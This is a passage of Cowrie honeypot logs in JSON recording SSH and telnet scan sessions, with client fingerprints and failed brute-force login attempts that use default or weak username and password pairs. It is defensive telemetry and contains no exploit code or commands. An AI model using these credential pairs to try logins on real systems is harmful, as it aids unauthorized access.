dsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:53.590785Z","src_ip":"38.148.249.2","session":"e4b278be710d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seb","password":"seb","message":"login attempt [seb/seb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:53.904824Z","src_ip":"38.148.249.2","session":"e4b278be710d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:54.977974Z","src_ip":"38.148.249.2","session":"e4b278be710d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:58:55.672523Z","src_ip":"27.71.230.31","session":"edd715a12f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35222,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac4ec104eae","protocol":"telnet","message":"New connection: 107.6.151.170:35222 (159.203.135.109:23) [session: bac4ec104eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:00.948437Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1@admin","message":"login attempt [root/1@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:01.762430Z","src_ip":"27.71.230.31","session":"edd715a12f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:04.075043Z","src_ip":"27.71.230.31","session":"edd715a12f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50196,"dst_ip":"159.203.135.109","dst_port":23,"session":"539d376c7a0d","protocol":"telnet","message":"New connection: 107.6.151.170:50196 (159.203.135.109:23) [session: 539d376c7a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:10.099509Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60528,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b6dace73404","protocol":"ssh","message":"New connection: 165.154.137.186:60528 (10.17.0.5:22) [session: 7b6dace73404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:10.695172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:10.700752Z","src_ip":"165.154.137.186","session":"7b6dace73404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:10.959539Z","src_ip":"165.154.137.186","session":"7b6dace73404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:11.731989Z","src_ip":"165.154.137.186","session":"7b6dace73404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:12.989758Z","src_ip":"165.154.137.186","session":"7b6dace73404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8baca21ddbaa","protocol":"telnet","message":"New connection: 94.23.66.112:52084 (10.17.0.5:23) [session: 8baca21ddbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:16.449229Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60084,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f34f0b50b67","protocol":"ssh","message":"New connection: 165.154.137.186:60084 (10.17.0.5:22) [session: 0f34f0b50b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:20.791297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:20.794509Z","src_ip":"165.154.137.186","session":"0f34f0b50b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:21.062217Z","src_ip":"165.154.137.186","session":"0f34f0b50b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:21.872707Z","src_ip":"165.154.137.186","session":"0f34f0b50b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:23.142002Z","src_ip":"165.154.137.186","session":"0f34f0b50b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40814,"dst_ip":"159.203.135.109","dst_port":22,"session":"83ac112567dc","protocol":"ssh","message":"New connection: 103.82.132.16:40814 (159.203.135.109:22) [session: 83ac112567dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:34.135713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:34.139853Z","src_ip":"103.82.132.16","session":"83ac112567dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:34.394562Z","src_ip":"103.82.132.16","session":"83ac112567dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250692","message":"login attempt [root/250692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:35.160139Z","src_ip":"103.82.132.16","session":"83ac112567dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.599201202392578,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:35.698574Z","src_ip":"107.6.151.170","session":"539d376c7a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:36.418193Z","src_ip":"103.82.132.16","session":"83ac112567dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":55308,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b61d8ae0562","protocol":"ssh","message":"New connection: 43.153.12.68:55308 (10.17.0.5:22) [session: 0b61d8ae0562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:40.572834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:40.576766Z","src_ip":"43.153.12.68","session":"0b61d8ae0562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:40.648177Z","src_ip":"43.153.12.68","session":"0b61d8ae0562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jmeter","password":"jmeter","message":"login attempt [jmeter/jmeter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:40.962552Z","src_ip":"43.153.12.68","session":"0b61d8ae0562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:42.038287Z","src_ip":"43.153.12.68","session":"0b61d8ae0562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51956,"dst_ip":"159.203.135.109","dst_port":23,"session":"95b36ad23915","protocol":"telnet","message":"New connection: 128.199.8.54:51956 (159.203.135.109:23) [session: 95b36ad23915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:47.215156Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44090,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc984513c9b","protocol":"ssh","message":"New connection: 165.154.137.186:44090 (10.17.0.5:22) [session: bdc984513c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:50.913477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:50.918994Z","src_ip":"165.154.137.186","session":"bdc984513c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:51.188044Z","src_ip":"165.154.137.186","session":"bdc984513c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42724,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6533d58e28","protocol":"ssh","message":"New connection: 165.154.137.186:42724 (10.17.0.5:22) [session: 6f6533d58e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:51.456088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:51.460951Z","src_ip":"165.154.137.186","session":"6f6533d58e28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:51.728290Z","src_ip":"165.154.137.186","session":"6f6533d58e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:52.013414Z","src_ip":"165.154.137.186","session":"bdc984513c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:52.590931Z","src_ip":"165.154.137.186","session":"6f6533d58e28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":38253,"dst_ip":"10.17.0.5","dst_port":22,"session":"903ff572f482","protocol":"ssh","message":"New connection: 170.80.65.140:38253 (10.17.0.5:22) [session: 903ff572f482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:52.972958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:52.977471Z","src_ip":"170.80.65.140","session":"903ff572f482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.101046Z","src_ip":"170.80.65.140","session":"903ff572f482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.293797Z","src_ip":"165.154.137.186","session":"bdc984513c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123123123","message":"login attempt [root/Admin123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:59:53.630654Z","src_ip":"170.80.65.140","session":"903ff572f482","protocol":"ssh"}
